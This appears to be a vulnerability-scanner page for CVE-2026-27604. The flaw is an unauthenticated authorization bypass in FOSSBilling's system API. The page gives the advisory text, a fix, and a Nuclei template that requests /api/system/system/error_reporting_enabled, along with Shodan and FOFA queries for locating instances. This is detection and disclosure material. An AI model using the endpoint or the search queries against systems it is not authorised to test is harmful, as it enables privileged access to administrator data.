FOSSBilling 0.5.4-0.7.x - Unauthenticated System API Role Authorization Bypass

criticalseverity

1.3%likelihood of exploitation, next 30 days

70%of all CVEs are less likely

Readycheck to confirm it

FOSSBilling versions 0.5.4 through 0.7.x contain an authorization bypass in API role handling. The internal system role is accepted from the URL, resolves to the cron-admin identity, and reaches privileged system API methods without authentication, a session, or a CSRF token. Version 0.8.0 rejects the system route role.

Impact

An unauthenticated remote attacker can invoke privileged FOSSBilling system API methods and may access or modify administrator-managed data.

Fix

Upgrade FOSSBilling to 0.8.0 or later, or block external access to /api/system/*.

How to confirm it

Send: GET /api/system/system/error_reporting_enabled
Positive when: contains_any(body, "\"result\":false", "\"result\":true") and contains(body, "\"error\":null") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-27604 -u <target>

The full check

id: CVE-2026-27604

info:
  name: FOSSBilling 0.5.4-0.7.x - Unauthenticated System API Role Authorization Bypass
  author: str4k3r
  severity: critical
  description: |
    FOSSBilling versions 0.5.4 through 0.7.x contain an authorization bypass in API role handling. The internal system role is accepted from the URL, resolves to the cron-admin identity, and reaches privileged system API methods without authentication, a session, or a CSRF token. Version 0.8.0 rejects the system route role.
  impact: |
    An unauthenticated remote attacker can invoke privileged FOSSBilling system API methods and may access or modify administrator-managed data.
  remediation: |
    Upgrade FOSSBilling to 0.8.0 or later, or block external access to /api/system/*.
  reference:
    - https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279
    - https://github.com/FOSSBilling/FOSSBilling/releases/tag/0.8.0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27604
  classification:
    cve-id: CVE-2026-27604
    epss-score: 0.01264
    epss-percentile: 0.69942
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 1
    vendor: fossbilling
    product: fossbilling
    shodan-query: http.html:"FOSSBilling"
    fofa-query: body="FOSSBilling"
  tags: cve,cve2026,fossbilling,api,auth-bypass,authorization,unauth,vkev

http:
  - raw:
      - |
        GET /api/system/system/error_reporting_enabled HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "\"result\":false", "\"result\":true")'
          - 'contains(body, "\"error\":null")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from